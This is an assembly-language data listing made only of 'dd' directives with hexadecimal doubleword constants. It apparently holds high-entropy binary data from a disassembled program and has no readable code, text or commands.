		dd 4301D687h, 5FB57478h, 0E4EEDE01h, 0D0533220h, 2E493B28h
		dd 2830A037h, 57362EFEh, 7C02281Eh, 58DAFB0Ch, 5321E03h
		dd 9F0672A0h, 0D02C7751h, 0EB3DDAFDh, 10D3E80h,	55F281E6h
		dd 0DE0AFA28h, 46121898h, 0EA6DA610h, 9D035E00h, 0B6D1D21Dh
		dd 0E0F25408h, 2915C0D5h, 4140BB0Eh, 0A5D7707Eh, 9A2E035Ch
		dd 59031144h, 1CAB379Eh, 7FC8D9B2h, 661CE5E9h, 1C20D8F4h
		dd 31BE6842h, 277A58C4h, 59C09CEAh, 1C9891DEh, 28E45312h
		dd 9E149D58h, 3088B026h, 0CD806823h, 1519F00Eh,	50B0A151h
		dd 60AC28A1h, 4A22EBFCh, 60185D45h, 7AB5060Fh, 10AB03C4h
		dd 1E4B4503h, 1B49DD72h, 30D38508h, 0E669BFC0h,	0AB607B7Fh
		dd 13015C46h, 637490h, 0A932EC3h, 0EA8A5D99h, 49E57E03h
		dd 0B34EF6h, 9730ED48h,	0A0D734ADh, 61187430h, 0F4DE50h
		dd 0E70619FBh, 5581628h, 0C43A870Eh, 0C58E40F8h, 786B1E4h
		dd 679D4533h, 5D6FEE4Fh, 820A1FA0h, 18C10897h, 0EB926F1Ah
		dd 3DA6ACFCh, 34811C66h, 54713BC7h, 0B59BD858h,	0DE4480C0h
		dd 0D35D89h, 0AA41BE2Ah, 7361C257h, 7B156D3Ah, 911F201h
		dd 0D71A9307h, 0A0101A60h, 207F990Ch, 1D1D350Fh, 1E855A97h
		dd 9C203122h, 2931ABAh,	0E2E47369h, 0A080EC90h,	18653115h
		dd 8F587C3Eh, 20D94519h, 75FD9913h, 959C01A3h, 127D6CD4h
		dd 0B0488C81h, 3E0FBE4Eh, 0ED8024B8h, 648C61DAh, 110F1E34h
		dd 0C73C2EA2h, 89833198h, 87CAAh, 73326960h, 92182608h
		dd 3D001777h, 912E0A3Fh, 309943D1h, 3938B7ADh, 83C2B2Dh
		dd 4E6900F6h, 0C1C28CFAh, 0C03FE81Dh, 0FF6C7569h, 2A58AF3Bh
		dd 526F0062h, 0EF0EE896h, 6A980028h, 0A37FF899h, 111F222Eh
		dd 6C403195h, 7EC6678Ch, 0B60F003Bh, 0FC851F74h, 180968E1h
		dd 3E599CCh, 0F08D1998h, 0F3CEEFh, 68E206FAh, 0A237B30Eh
		dd 5E9CBB01h, 19EF7194h, 0C5BE044Ch, 7B1D0A48h,	30AD740Ch
		dd 0EAE8FD83h, 79D1B048h, 259C000Dh, 0EC1112Ch,	881866EBh
		dd 0D1187A45h, 21088435h, 877229Fh, 5942329Dh, 33351097h
		dd 95C42184h, 413C6108h, 1227AAADh, 0AB891819h,	37C52184h
		dd 0BEBAAE00h, 0CCD5B5h, 31E17A79h, 34B12C3Dh, 21B6FD20h
		dd 920268F5h, 5ACA43Bh,	83184571h, 0ED0C0438h, 370C2178h
		dd 3F092443h, 0E780E931h, 0D8B0A066h, 9F1C9AE5h, 806610Fh
		dd 18334Eh, 0F8C27559h,	8EE12706h, 3A3BE020h, 5C804B97h
		dd 0A6C8A4A5h, 0F70C3E11h, 2035034Eh, 0C4FA1D8Ch, 662FC0CEh
		dd 6B2ECF55h, 2D00EEE8h, 8E9DA1BBh, 784F2180h, 54AA07F6h
		dd 0D0676603h, 0DB41F060h, 17E93B18h, 0F8E18108h, 0E7D5004Bh
		dd 9DA2FB7Dh, 0F702CCA7h, 0B8489C5Ah, 464C9062h, 0C0317174h
		dd 67A31610h, 51006CBEh, 0B191FF3Dh, 1F3B6FCh, 1FC21088h
		dd 0DC1940E8h, 1675E126h, 0ED3B9503h, 0E35B915Ch, 7C6FC0A4h
		dd 0D960039Dh, 0A7B59042h, 1CB917A2h, 721A41h, 0D7DB51A0h
		dd 172FE69Bh, 47CCA903h, 8FB8DC80h, 0B8F8C07Ah,	0DA68C0FCh
		dd 343B6B4Ah, 45D8A506h, 9294380h, 483A55DDh, 3128C20Ch
		dd 257D1A00h, 0F6B374A3h, 145174B4h, 5CEAA477h,	0E51084C1h
		dd 0AE6FF818h, 8DAF5C26h, 0EDCECD02h, 9760D726h, 4000A44Bh
		dd 4D0C2368h, 176AFA0h,	0C76E62CAh, 47A2DFADh, 0CE0EC0BCh
		dd 3612E82Bh, 104031E2h, 5B272FCCh, 0A45737F1h,	83CFF029h
		dd 0E580E1h, 0AB3EE79h,	720B243Eh, 1E115E58h, 3AA8AD76h
		dd 24004CA7h, 5AC38DEBh, 0D38B0004h, 0E17416Fh,	48CE57A6h
		dd 6759E0B0h, 6BEB965h,	9697A9C3h, 4B0108C1h, 432599AFh
		dd 51B0C5F4h, 4E4FE630h, 0B8AA0D1Eh, 23BB778Fh,	0A8DAA2C8h
		dd 933F5340h, 0ECA51074h, 61FB0084h, 27787F13h,	1C036032h
		dd 71043686h, 3080099Dh, 0CC0252C8h, 84033353h,	88410767h
		dd 0E31C2DF9h, 313B9985h, 787A0213h, 82545B24h,	95BA3C80h
		dd 0EC98CDACh, 0CB149ED0h, 2484027Dh, 0D8589482h, 41D4916Bh
		dd 4A17AF62h, 9818A144h, 83D2CC50h, 0E0460469h,	0CBBB6431h
		dd 8C3D0104h, 84750E60h, 14844CCh, 97398064h, 23746282h
		dd 4DE9E2E8h, 37003DDCh, 9BAA1667h, 7702B5BFh, 0F085B36h
		dd 12849453h, 5C973E6h,	985C87Fh, 0A18043A0h, 0D8D53441h
		dd 0D4EC3A01h, 9D5C6A70h, 5C653BFCh, 4400A321h,	0FEBBF0A4h
		dd 3F6A4F52h, 97806828h, 0F19D9E07h, 9AF03B85h,	253ECC02h
		dd 0D0848D2Eh, 4CF330F4h, 0C8340090h, 6BEB174Bh, 6491A67Ah
		dd 0D260265Ch, 3E29C008h, 7804C94Fh, 0A728DBC8h, 0F06728C3h
		dd 2EC7CFAh, 0FE09F959h, 0C451F6Fh, 6AEC4072h, 104D4081h
		dd 2B263042h, 9320934h,	38458C8Fh, 80FC2B37h, 9627CFDh
		dd 293DE4FCh, 0F4824Fh,	53D11086h, 60535B57h, 5628680h
		dd 0D8289B38h, 63FB1870h, 190D1E8h, 44D3ED3Ch, 74340BF4h
		dd 45DA3C17h, 30A6F31Bh, 10795FC3h, 0EF5810A0h,	0A44449FEh
		dd 22441B37h, 8FC16165h, 0A7FEE043h, 13C610C3h,	67782CABh
		dd 5AF580FCh, 71BF7B1Eh, 73020490h, 0CAFFF3E7h,	0E94048A3h
		dd 0A13B0DDAh, 0ECD04D32h, 40C04F54h, 7D10EAA5h, 6254B80Ah
		dd 694E4872h, 91129C08h, 49030C0Eh, 7C00A636h, 3F389041h
		dd 905C054Fh, 0BA489F31h, 507h,	7C8040B4h, 0A8E9D8F6h
		dd 64F2D326h, 42F3DE00h, 0C49DA64Eh, 704F0A3Ch,	92E4FD38h
		dd 10B40C41h, 90914BF1h, 0E0915247h, 23F0A04Ah,	2807B7Bh
		dd 32A7919Dh, 0EB208235h, 0AB6F8Eh, 3D1712E6h, 3CAF22B2h
		dd 0D21DF60h, 0EC426FD4h, 4789000Eh, 8D6D2805h,	30110B5h
		dd 0DCE125E4h, 0A8CD5022h, 78F36184h, 6FD1207Bh, 0FAE610A2h
		dd 0F1E7CC08h, 70EA0Eh,	0CFA85AC2h, 0B75C46C8h,	6FCC870Fh
		dd 12BA94Dh, 90F02024h,	0C08F609Eh, 10AD9843h, 0AF00C9A2h
		dd 0D3132C41h, 0DCB0B6F8h, 0A87ED6F0h, 0ED1519D9h, 9DF81018h
		dd 7DF70307h, 60ACA399h
		dd 23A61BF0h, 0F809E10Ch, 1E6B3834h, 1D26558Ch,	2B8A8E7Bh
		dd 99800B1Fh, 0E038342Eh, 6E267022h, 0E6000DA3h, 0AB46ECD5h
		dd 92EA006Ch, 0F49DA447h, 0A175C189h, 0B966CC1Dh, 1185FC0h
		dd 2E8561h, 936D73C6h, 0CA13FDFCh, 0DEB38F00h, 50FA0E5Ch
		dd 0C4D80086h, 40618BD5h, 7400184Eh, 6FFC97C1h,	0FBC0F0h
		dd 73D8076Dh, 842FB4FDh, 0A7CD4C28h, 0CF8D0800h, 18447C52h
		dd 0BDAA24C6h, 0A41D0001h, 63C9CE0Bh, 0C355AF00h, 0E2E80DD0h
		dd 5DC701A1h, 0D4011E52h, 38C8E03Ah, 2E10FA00h,	561D254Ah
		dd 0D763077Ch, 603AA0BAh, 48C38CE7h, 68E8AA7Dh,	0E051916Eh
		dd 0B5B6448Ah, 0BC8B263Fh, 0DE970F3Eh, 218CBAC2h, 0E99046C8h
		dd 5EA17D01h, 7B3273F0h, 0C9FF30h, 7156BFD0h, 24AA0912h
		dd 2310D164h, 573B8580h, 785B07B9h, 400230E0h, 561E1272h
		dd 18F20600h, 0A59A8744h, 0E1B20686h, 70975F3Bh, 84EAA80Bh
		dd 3AB98179h, 0F4CD20BAh, 700058BCh, 0F0AD9597h, 25399A89h
		dd 4F18FC8Ch, 1E20B494h, 7A900040h, 2868FED8h, 72142AECh
		dd 8865D2h, 0C8DBA7CAh,	0F3A55EA0h, 0A8D968E0h,	76DF84h
		dd 0B1C51CE6h, 99165AADh, 0BE5B0318h, 0FF6A21h,	0B40593E4h
		dd 2B90A62Eh, 0C909BD1Fh, 0B01AD240h, 17726234h, 0D977C3h
		dd 5A69D509h, 4A0085ADh, 22CE6FEAh, 1ECE573h, 4281AC12h
		dd 6BC939FFh, 0C667FA0h, 0CBF6F5C4h, 6B00D2CCh,	640EF024h
		dd 0CD144Eh, 10BE071Ch,	88DAB918h, 0AB94A600h, 0C431EBCAh
		dd 556D0138h, 34EE1966h, 5A6BE074h, 0A7151C09h,	6EFB812Eh
		dd 0DDE8FB24h, 86CB0E2Fh, 1F8087A0h, 4714ECE1h,	8925680Eh
		dd 816100C7h, 0A93728h,	66CB74B3h, 0DAF4BD2Ah, 799E0E00h
		dd 0D9EA2FADh, 0E8561716h, 0CAEC65h, 6D422A5Ah,	112486h
		dd 2DBB905Ch, 7A2B1BD4h, 884A0B00h, 0EC78FA6Ah,	667B06CAh
		dd 784BF676h, 283C9C7Bh, 94D70030h, 0EC1E96BEh,	1CAE7019h
		dd 8063B62Ch, 1C7A5190h, 0F8009C18h, 36F003F7h,	0D7E65EDh
		dd 67990C09h, 808305A8h, 0DF063F89h, 4D00F875h,	9C97CA25h
		dd 0CC0311h, 577B8CD7h,	0E83876F3h, 6090B900h, 8F3CDB97h
		dd 0BE5D00CEh, 71666527h, 4C007ADDh, 7EA5F97Bh,	5E429F53h
		dd 8452A01Eh, 0EABD3200h, 9C392560h, 7A8A0037h,	3D56A183h
		dd 4A0EF78Dh, 41FC9Fh, 0D20AC0A6h, 51460072h, 401709A7h
		dd 0E50001F9h, 7BE813DAh, 3818E02h, 0A259E2A4h,	690C4A42h
		dd 29068688h, 2A10FB1Ch, 90C851BBh, 54888326h, 2811FBA9h
		dd 911996D0h, 8325139h,	0E4FB2058h, 0A10420h, 0B8CBC2F6h
		dd 0C3BF7FC4h, 0F21C2200h, 0EA251326h, 7DB76B1h, 0F9122870h
		dd 8D4AF076h, 81E458D2h, 47338300h, 7E61A999h, 0C8770014h
		dd 0CECA3A85h, 5100DE89h, 0D3D01E1Dh, 0F709E0h,	8C34871Ch
		dd 3265BBA9h, 4724F96Eh, 1707AE3h, 46A1CBh, 34897BBAh
		dd 0D154BC8Ah, 0D303C00h, 6D2EBE42h, 355A3C24h,	8088B31Fh
		dd 0F6CED67Ch, 4F0FEF7Fh, 1C5EA9h, 23D8A3E4h, 12AD0030h
		dd 13C0ED4Bh, 641EC91Eh, 0BB0148ECh, 0C23C2335h, 762A7ED4h
		dd 0E37B50A4h, 7FFCE3h,	0C818111Ch, 0A8A581C2h,	4BFC58C0h
		dd 2467F33Ah, 79E4961h,	600BC9CFh, 55C71125h, 18008CE6h
		dd 1F8F4AF5h, 0E93DF4h,	5B750A8Eh, 67DD7A7h, 0FE2E0D01h
		dd 2C59E46Dh, 0E73FCCCh, 1806C56h, 9C0F1100h, 0A033CECh
		dd 71D7BD31h, 3BFC09Dh,	7C6B057h, 0FBE30651h, 0F47FF0D2h
		dd 770B95BAh, 430387h, 1F5B400h, 57CF00CCh, 4410C5B0h
		dd 0EF00499Eh, 0C78528E3h, 7F1593h, 6FA7587Eh, 0F69D190Fh
		dd 9250FB05h, 50C0D730h, 604075h, 5D3F795Fh, 0E2E4066Ah
		dd 74EF2848h, 0D6AF4100h, 88F7C3DFh, 0D8555877h, 0C13A2E01h
		dd 0C0757B62h, 6B75652Fh, 58DD4501h, 0E388B997h, 911EECh
		dd 72CA345Bh, 0D41F1920h, 257CA001h, 7BEDB2B3h,	0EEF5A06Fh
		dd 0B94E1209h, 0C58B0087h, 187F392Bh, 0B8968A88h, 8300251Bh
		dd 8F28D8C4h, 3094F02h,	0EC2C540Ah, 0DFA833E1h,	30008AFEh
		dd 1ACF4C59h, 1D2A048h,	52DDB076h, 0C87C01ADh, 513B39Fh
		dd 0C7004ACFh, 0B6A13090h, 0D64F0029h, 862A84A4h, 0D303C977h
		dd 0C7C81AF4h, 46E81C2Ch, 11B08076h, 0E87934B5h, 55A9D005h
		dd 0FF9D18h, 14BEF201h,	4D00CA7Fh, 47FD086Fh, 3C8576h
		dd 0FC6BF65Bh, 67EDCF31h, 0C835EE07h, 13903D8Ah, 3A5EFAh
		dd 0D945E7A5h, 0F387C621h, 60370303h, 0F02F6D86h, 6010467Dh
		dd 0A606747Bh, 833BDB57h, 3B620058h, 6798C2A0h,	1C8CF2E3h
		dd 1A1259h, 6221C164h, 1B600CD4h, 87BBEC10h, 0F9670A71h
		dd 0AC9F78h, 1E49C221h,	0D1005FD8h, 6ECC0D3Bh, 0E8C1A5h
		dd 0A31C32C3h, 22F2F307h, 0DA4FFE7Bh, 0CED5EC0h, 72293C5Ah
		dd 0B09F1181h, 0D3415393h, 63C3E2A8h, 4554B00h,	409B624Dh
		dd 0F4127491h, 0A8AA0F2Ch, 21408813h, 60EDA7C9h, 0FD386A74h
		dd 588700B1h, 0BED195D9h, 0F877005Fh, 82327596h, 7B00FDB7h
		dd 23FFC25Ch, 1861E721h, 60F0E905h, 883BD615h, 66D0800Ah
		dd 50F86537h, 33B10B6Bh, 0CC80D4A4h, 4E21E2CFh,	0D27BF703h
		dd 84DD95D1h, 0AE4A6DC1h, 0F12BE8h, 28BFD85Eh, 0EA2721DBh
		dd 3A59F500h, 0E3052D60h, 0AFF646h, 2EAE6924h, 9723C252h
		dd 0D106B00h, 0D7881792h, 8DDB1E62h, 81B94018h,	8994BCD6h
		dd 0C3CCD500h, 9E744103h, 0D8FB005Ah, 16D644B6h, 8C01CA57h
		dd 0A7B49C60h, 35DC7DFCh, 1D6C26ABh, 50F21893h,	8B00B853h
		dd 593EB9E2h, 0F3F4E4h,	2A4210DBh, 0AFC3CDF7h, 1F1D2971h
		dd 628E01BBh, 9E1D4060h, 75AB803h, 724CA4B9h, 90A58718h
		dd 691EA8FBh, 0E3E55000h, 1F272DC4h, 989A0348h,	3BB72CE8h
		dd 0B0F4AED8h, 8846E000h, 0FAA381C7h, 0C6A10058h, 0CDDD552Bh
		dd 3F3E38C1h, 2D3017Ah,	9D16E60Dh, 2C80CC0h, 1AC9CB76h
		dd 9881465Ch, 0F43D1CF9h, 5F00862Dh, 300360FBh,	0F01090h
		dd 13641B1Eh, 0DF1A25CFh, 2D769C0Fh, 2B3C1FDh, 0C920A962h
		dd 0C00600FAh, 0EBCE4055h, 7E009C8Bh, 6DF2E3B8h, 1C25E5h
		dd 5C9F6CF5h, 0FE93E03Bh, 20C086E6h, 0B67DACAEh, 45060E61h
		dd 0C200E251h, 0B3E6F32Ah, 0C1162800h, 0F1A3FCD2h, 11201FBCh
		dd 340640ACh, 889E0270h, 4C909900h, 7C783E37h, 89D7013Ch
		dd 0B6B34F46h, 380FBBFh, 11076A49h, 0D1980880h,	0EE466E80h
		dd 0C62400F0h, 4730F2Ch, 13777C33h, 0B21F8B00h,	3B5DF5C9h
		dd 5BB1003Fh, 0F9DF6E2h, 4B06CC64h, 3A24ABB0h, 0AED726CEh
		dd 8B7E0008h, 84DB9DA4h, 2E4A77Ch, 0B3EE6E00h, 98372647h
		dd 9B2E0079h, 0DBCB914Fh, 3500AC03h, 4A53ABF2h,	0DD7533h
		dd 6D85323Eh, 70DCE921h, 0DE203460h, 0AFFAE7h, 0B5255F7Eh
		dd 8865F1B8h, 0F285A76h, 2C009017h, 1646E5ACh, 0EBF9C69h
		dd 34204864h, 4905807Ch, 35A1F853h, 0A4311B00h,	0AF719599h
		dd 0E8AA3FCBh, 738338h,	5273A0F6h, 0B0D993A1h, 24ED7C00h
		dd 26795D96h, 0B09FFEDCh, 341C00B4h, 8C42BE3Ch,	0D700626Bh
		dd 1DA2D0DEh, 14088926h, 937C17B8h, 6001203Eh, 0C510AF87h
		dd 3B79D453h, 679C5450h, 0F66B493Eh, 80289F00h,	0D9220371h
		dd 0A08F50B2h, 33C706E8h, 10AB5499h, 0B89AD600h, 1AD3A343h
		dd 90A1EE49h, 781E7F91h, 6DCA0330h, 8F212B09h, 48FC508Fh
		dd 0D3004C22h, 0C506AF79h, 3BC230h, 0DDBAF70Bh,	44AA589Dh
		dd 55A71100h, 60719A4Bh
		dd 21EC43h, 3CD4EFCAh, 9784A587h, 31155Ch, 0BCDFADD9h
		dd 638174h, 0A3470369h,	0B19B1072h, 0A73ED67Bh,	95170F99h
		dd 8C45E03Dh, 5889Ch, 63D798BCh, 0C1535AE9h, 290FCEF8h
		dd 0A798483h, 2F00889Bh, 6EE0BD48h, 71FC8Fh, 7BA68B09h
		dd 0FCEE334Eh, 39B57F01h, 64BC957h, 4C95C8F0h, 46020C25h
		dd 135A9C5h, 6A8992C0h,	30428200h, 1EEB5D23h, 0BD910067h
		dd 794A40AFh, 0E5009BD9h, 0CF18441Dh, 2EBAC587h, 357914Ch
		dd 0C2BBF489h, 0D4267A89h, 0AA007079h, 0FF53F90Eh, 0E64888h
		dd 6A946620h, 10B75941h, 88348h, 899D09F1h, 3E13CAh, 0EFC354E7h
		dd 0D5A29714h, 91E57812h, 0F1891807h, 82A607F0h, 0FB02166Ah
		dd 573A00F4h, 26274AA5h, 0BCADDD00h, 111ACA16h,	0D7C207C9h
		dd 334271BFh, 638884FAh, 480FEE61h, 380E1AA7h, 185C5B58h
		dd 112A22A1h, 1400183Dh, 9803263Ah, 4DB9A2h, 0C1C21731h
		dd 6B70CE92h, 0DC8F3D00h, 4A0A276Ch, 0A83F16F0h, 7E8600EAh
		dd 59A2E661h, 4D21DC00h, 94A693EBh, 0F58F1E6Fh,	0E2318030h
		dd 0BE3580Eh, 37FDD700h, 0F372B387h, 17E402h, 0B11EB96Ah
		dd 9B2D4404h, 0AB7BBC00h, 0FF25CB18h, 0C7761CF6h, 1BDB4047h
		dd 0EF62E4D8h, 0FDF89Fh, 9B983946h, 262F94B5h, 0ABB1C000h
		dd 9C5FDE43h, 8FA70797h, 0D2B8D168h, 0E0E0074Ah, 54000C52h
		dd 396A2560h, 0E675B367h, 0E3BE1F66h, 999605h, 53D63C58h
		dd 9005EA6h, 4596AA0h, 1CAE39DDh, 40A3734Eh, 0A5BE6B0Ch
		dd 46E8C35Fh, 3DF74A00h, 0E0C876B5h, 0F132000Fh, 0B16FDDA0h
		dd 8201F26Ah, 0AA26751Bh, 3CC81346h, 0A17405EEh, 80AE6E67h
		dd 56B776E4h, 80195339h, 0CD87E593h, 0EE835429h, 2B78009Ch
		dd 0E14D43E4h, 3C00C36Ah, 0EB04FDB2h, 0C59510h,	18262328h
		dd 99090315h, 39664203h, 984FCDB4h, 3B5677h, 9A5C4033h
		dd 0AA38F8F9h, 23E5170Eh, 0D1F16091h, 13CB3DCh,	461A99C8h
		dd 0E4BEC567h, 0FE07CBDEh, 16B7EE45h, 0CA717920h, 0CECE211h
		dd 499C0781h, 0E50070D0h, 1DDF8EFBh, 5D27F0h, 915B9682h
		dd 0C3402D1Ch, 0C018D900h, 565FB8A1h, 8B483D23h, 53599F80h
		dd 797B75Eh, 86A7AF01h,	0E9146F76h, 5C2D8880h, 7B258FADh
		dd 0DDB23903h, 121C99F5h, 54ED30h, 0C29C53F1h, 87D31AFh
		dd 1A156603h, 0E021C65Dh, 295A622h, 0F1014B16h,	8A40BB70h
		dd 0B47184D4h, 0DE26180Eh, 20409D0Ch, 9B01BEA1h, 0DD940099h
		dd 350DC2FFh, 2500F033h, 5F429758h, 127747Ah, 8F56283Fh
		dd 0D848D64Ah, 0E33CA8A1h, 266BAE0Ch, 0CB719C00h, 0ACC3D1h
		dd 85F4075Bh, 0C43A8831h, 91A6900Fh, 478F207Fh,	1D4817Eh
		dd 4024ECF4h, 0F05A36B4h, 8500D007h, 0F8AD71A8h, 76106AAh
		dd 8BF3565Bh, 0FF8E55FFh, 71D2CF00h, 1C58420Ch,	409F49EBh
		dd 5D6576E9h, 0E6073344h, 9CE839E3h, 0CD681580h, 0B0DD00F9h
		dd 70724AF0h, 0D1FB654h, 2E1FF878h, 0E0A19C03h,	0F68CB8C3h
		dd 2BDC2832h, 24D20086h, 845E92C4h, 0FA009E11h,	4DDFF01Eh
		dd 38C84EBAh, 9400812Dh, 52752966h, 0B1024640h,	0F65FF550h
		dd 1F2640EDh, 58B50069h, 0E6DF2171h, 6D0F4092h,	80F85B3Ah
		dd 0FE2D14F0h, 0BAE3005Ch, 0D9447DEBh, 0C20074AFh, 6A1BB99Dh
		dd 3F495AACh, 0CA0C05DEh, 0EE30315Ch, 1BB66B1Fh, 0AF6CD800h
		dd 7CD33C99h, 32BE015Fh, 0F3AD03F0h, 0CF02F0E3h, 7677061Eh
		dd 0D11E2C80h, 9C06DDAh, 35836841h, 2639AF03h, 3AAFD000h
		dd 7B9F0CC7h, 0E6AB07BFh, 0B061BB62h, 5CC5E94Bh, 102E700h
		dd 0A7A2D53Ch, 0D08703A9h, 0E4D73EBFh, 0C41A2000h, 0A43C3AA3h
		dd 6053F0FDh, 0AF5A1EF0h, 0D1F65EE1h, 1B8EAC00h, 29B3B6D4h
		dd 165B1CB8h, 4FDE050Ah, 0C5FC005Ah, 0F6F120DDh, 0BF1CD113h
		dd 78A8F006h, 276D00D2h, 0DEC86319h, 3C00E8CFh,	0E480FBEBh
		dd 0E19F7Dh, 71B95198h,	0B1A038E6h, 7A00D174h, 0EA161464h
		dd 3DD70C1Ah, 0E20082C9h, 25D01954h, 0D500E018h, 61482722h
		dd 7F9221h, 0F604A9BFh,	5A7B754h, 5FDD3D03h, 0B1F011h
		dd 7372C510h, 7ED52EACh, 23BAAF15h, 0DE031CECh,	0A96FB3C7h
		dd 0EF1B9810h, 0C437005Dh, 251CFD0Ah, 0E300A350h, 9CAD088Eh
		dd 0DF4E7Fh, 65CD8474h,	0ED12D5FBh, 5CFF1F03h, 0A8345735h
		dd 2760E6h, 98F14B66h, 0FAD7E41Ch, 68AEF400h, 6D865995h
		dd 0AF36000Bh, 0FC5569Ch, 3E0F01D3h, 20A41CF9h,	0A35B9D46h
		dd 428100F4h, 0D9719813h, 10FAC448h, 0A5588400h, 7FD2C8AAh
		dd 0A7A900FAh, 0DBC69007h, 420004ACh, 5867899Eh, 0EBC2B85h
		dd 0BABD9934h, 0CFC66BE0h, 0B6182FDAh, 0C110DF6Ch, 548300A7h
		dd 77CD21B1h, 95008809h, 80E8BCB2h, 117A378h, 33DB3E97h
		dd 0C8C630C8h, 241C4ADEh, 0C4401284h, 0A53BEAEFh, 6D7B1E21h
		dd 0C66840DDh, 5C99036Fh, 75861D00h, 55F3DE78h,	9B890B32h
		dd 410051D2h, 0D8451681h, 0E22E8600h, 43273D6Fh, 0D69A00DBh
		dd 0B4F144B5h, 1600E978h, 5B7D5A39h, 242955F9h,	7BF32B3h
		dd 0F008F1C5h, 0E843E6AEh, 0E200FC77h, 78D1541Fh, 0E66F8EFh
		dd 552E9063h, 0FBD87BA0h, 0CD004350h, 0BC0C788Ah, 170605Ch
		dd 1FF4794Eh, 60E4C66Dh, 5607595Dh, 195AB0A8h, 2CFFAC90h
		dd 163800C2h, 1732919Bh, 5500605Eh, 0B92905BAh,	123B156Fh
		dd 0FFEC0B27h, 0ABF8B600h, 0F49553FAh, 0DE1A00E1h, 0E2BAC842h
		dd 0D64858B7h, 8D267884h, 9E300FB8h, 63422Ah, 82BF18A5h
		dd 14197C1Dh, 2EF13463h, 0ECAAD0EFh, 0F7F4004Ah, 20C9B917h
		dd 93017E1Eh, 903B89F2h, 0CCF0246Fh, 50A000B6h,	5AFD6360h
		dd 3107D585h, 71342BA4h, 0CB4EC7A1h, 0F5D3920h,	2933E97Bh
		dd 70199320h, 401676Eh,	53E4D130h, 0C7FCEEB1h, 8A3D00C2h
		dd 0C6948E79h, 0DAE4BA2Ch, 0B6CD081Eh, 454DF040h, 1F4119h
		dd 7F2E4E74h, 5283105Ah, 0E85CB101h, 0D1346379h, 29E956C8h
		dd 40E8372Ah, 0C91F88A6h, 6EFC3F00h, 0A8052009h, 0C8E40AFBh
		dd 4888450h, 0C3027753h, 7AC083F3h, 85006480h, 5DD9223Eh
		dd 0E835B742h, 1934052Ch, 43FEED5h, 41E831F4h, 557C9ADDh
		dd 0E0B8ADECh, 541D0066h, 0BAC928A1h, 4C3AD718h, 8E2D895Dh
		dd 92741Ch, 8A240B8Ch, 400308E7h, 808B5729h, 76180096h
		dd 0F953E0DEh, 5200370Fh, 35EAC66Ah, 719D1B12h,	0B0E200F5h
		dd 7EBFFE21h, 7800465Bh, 0C63FF018h, 988E2099h,	7277CFh
		dd 46CA1D7Fh, 6587D445h, 13784B00h, 4412343Eh, 9DF30063h
		dd 0B6094ACh, 380FC6E6h, 2021A8D8h, 1FF985EDh, 0FBB9001Eh
		dd 0F6992FFFh, 6E02A270h, 288865B1h, 223840E0h,	5C910021h
		dd 0A0126496h, 0DE3EF9EEh, 0EB53A5Dh, 0C1369049h, 6B40C228h
		dd 5651CCh, 8B5CEBF4h, 33184935h, 0BFFAC001h, 74D0F065h
		dd 2B5AB050h, 796CEA63h, 0D11F00A2h, 0B079664Bh, 0E40061C8h
		dd 0C2D9BBCCh, 0FDA819h, 2B2E2648h, 16093CC9h, 3D277300h
		dd 0A5CA6884h, 0AC0F00D5h, 5DE54018h, 7B00BE6Dh, 372C802h
		dd 28802BCDh, 0E89C71h,	0EF919A93h, 4DE1EDD4h, 6F05221Ch
		dd 0A1F46A8Eh, 6B62F9CFh, 3E61FF0h, 497934B2h, 58003EAFh
		dd 9289D3Bh, 0AEA70Ah, 9E56C937h, 9FFE830Ch, 989A7F0Bh
		dd 44E5001Dh, 0C0F23A52h, 6EC3F48Ch, 0A6752FDEh, 15E58500h
		dd 0EB4D69DBh, 7802644h, 0FCBA007Dh, 5EA8B5C5h,	85105201h
		dd 0E916975Dh, 0E98E7CCh, 133A3DB8h, 2F3F9082h,	1EABBCE0h
		dd 93870C03h
		dd 0D02820A3h, 4F31AAh,	8E0E4088h, 522516B1h, 53299000h
		dd 0F564990Ah, 0B3D126A1h, 0D3F40090h, 9A3AF33Bh, 0F08DFF00h
		dd 9CDDFBFEh, 0FC6C5FC4h, 7E23CAEh, 0F29D8E74h,	8BE60D30h
		dd 6816017Ah, 6975FA92h, 0CF6E30A7h, 0B797F200h, 35138D0Dh
		dd 942802DFh, 693CF7B0h, 73E9F887h, 80A46C87h, 6D1D4900h
		dd 0C0305401h, 9449868h, 75EF1887h, 16CE876Bh, 0BD62103Ch
		dd 601C8720h, 9782D0Eh,	7CB58B6Bh, 33F62420h, 58C07B76h
		dd 0BE5595F5h, 758C07EAh, 4C8D91E2h, 69004E29h,	0C78006D6h
		dd 7955BDDDh, 0F6DB3AE5h, 7A0EAB4h, 907CB8ACh, 47FD8CBAh
		dd 0F2050B74h, 36F7AE92h, 7BCD6444h, 546B2D20h,	1B1E907Fh
		dd 8E87B477h, 70C1BD4Ah, 7FA086h, 0C7C7A9Bh, 0BFEADB5Ch
		dd 0D6765E01h, 1C45CC92h, 0BA98E03Fh, 0EAD7F300h, 97D18BF5h
		dd 9FE8014Fh, 0AA138C7Ah, 5725FC8Ah, 15965B00h,	5258410Ch
		dd 302300FEh, 7801389Dh, 2A00E059h, 26A2BAE5h, 146EA6Dh
		dd 0C0B16632h, 0E7EEEB6Ch, 374176A0h, 0B3797D00h, 82D8C5BFh
		dd 0E9E11F80h, 27D3C0D0h, 0FB1CA5EEh, 0D767C000h, 177C9469h
		dd 18970063h, 5A101B86h, 24E1C18Fh, 8D00BE24h, 0C3A9FF7Fh
		dd 18526C8h, 0E1E55E4Dh, 0EC078CFAh, 7654EFE3h,	4C019BC4h
		dd 57E409FEh, 0E92130E7h, 0DE8A18BCh, 8CAC71E2h, 273159CFh
		dd 9E7258h, 13DF8FAFh, 1F4DEEB0h, 40C27962h, 734C9A3Ch
		dd 30CF9BBBh, 124CF446h, 0E5FC535Eh, 0E1008F48h, 519143FBh
		dd 0EC0101C2h, 67D0D8Fh, 48D6988Bh, 39BD3100h, 6D00C7F2h
		dd 7D86252Dh, 84FAC134h, 6A3E8060h, 87799h, 9278678Ah
		dd 3C70B062h, 0B6F64100h, 0F41540A8h, 8D10391h,	324C4DCAh
		dd 38554001h, 0DDE530DCh, 0CF50B20h, 81156853h,	81D90F1h
		dd 41403E93h, 22C4E04Fh, 92CB0A2Ch, 82293Ch, 0F7AFDA69h
		dd 0BE007783h, 6ADEBFC9h, 740EC084h, 0C48005Ch,	9108FEB8h
		dd 0CE006F44h, 1082E961h, 7E7A63h, 73660C6Ch, 76B1BDC7h
		dd 0B017DF1Dh, 20616B0Ch, 0D735009Fh, 0E591CAB5h, 443DCC9Dh
